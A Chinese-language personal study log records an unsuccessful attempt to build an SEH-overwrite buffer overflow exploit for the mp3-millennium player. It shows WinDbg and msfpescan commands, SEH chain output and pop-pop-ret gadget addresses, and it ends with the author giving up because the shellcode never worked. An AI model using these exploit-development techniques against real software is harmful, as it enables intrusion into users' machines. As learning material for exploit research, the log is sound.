例子: mp3-millennium
典型SEH 漏洞·····················
一般我们都是直接去写文件,但是这个例子有检查文件属性的
可以看到有检查机制
所以构造 POC时要注意,不然没法制造异常
用 !pvefindaddr pattern_create 6000
构造POC 去制造异常
发现异常,!exchain命令查看SEH链 然后得到 SEH和NSEH 地址,
然后 !pvefindaddr pattern_offset 去查看地址 然后记录偏移
再构造POC SEH地址设断,NSEH设为 x11x11x11x11
0:000> !exchain 00125cd4: cccccccc Invalid exception stack at 11111111然后就HAPPY了
WINDBG查看 程序加载了那些DLL
拖进 MSF目录下
msf > msfpescan -p xoutput.dll [*] exec: msfpescan -p xoutput.dll [xoutput.dll] 0x10001254 pop ebx; pop ebp; retn 0x0010 0x100016fa pop esi; pop ebx; ret 0x100018c3 pop ebx; pop ebp; ret 0x10001b2d pop esi; pop ebp; ret 0x10001c99 pop esi; pop ebp; ret 0x1000202f pop ebp; pop ebx; retn 0x000c 0x10002069 pop ebp; pop ebx; retn 0x000c 0x100020b8 pop ebp; pop ebx; retn 0x000c查看到了 pop pop retn
会发现 有x00 的都不能要啊!!!!!!!!!!!!!!!!!
换一个DLL试试
msf > msfpescan -p lpk.dll [*] exec: msfpescan -p lpk.dll [lpk.dll] 0x10028027 pop esi; pop ebp; ret会发现只剩一个了,天啦,我的运气是有多好
可惜还是不行··············
再搜
0x10020064 pop ebx; pop ecx; ret 0x100200e1 pop ebx; pop ecx; ret 0x100200fd pop ebx; pop ecx; ret 0x10020133 pop ebx; pop ecx; ret 0x10020147 pop ebx; pop ecx; ret 0x10020209 pop ebp; pop ebx; ret 0x10020214 pop ebp; pop ebx; ret 0x100202c8 pop ebp; pop ebx; ret 0x100202d0 pop ebp; pop ebx; ret 0x100205d7 pop edi; pop esi; ret 0x1002065b pop ebx; pop ecx; ret 0x10020667 pop ebx; pop ecx; ret 0x10020793 pop ebx; pop ecx; ret 0x1002079b pop ebx; pop ecx; ret 0x100207a4 pop ebx; pop ecx; ret 0x1002083d pop esi; pop ebx; ret 0x1002084e pop esi; pop ebx; ret 0x100208dc pop esi; pop edi;
测试了很久·····················
发现 对NSEH 还有检查 不知道是不是我系统的缘故·······························
最后改为 JE 才行
我哪个去············程序加了 检查,·········现在没办法了 shellcode总是不通过···
不整了··················
我勒个去·········居然不同文件名 报错不一样······m3u 和 mpf 居然不一样的出错···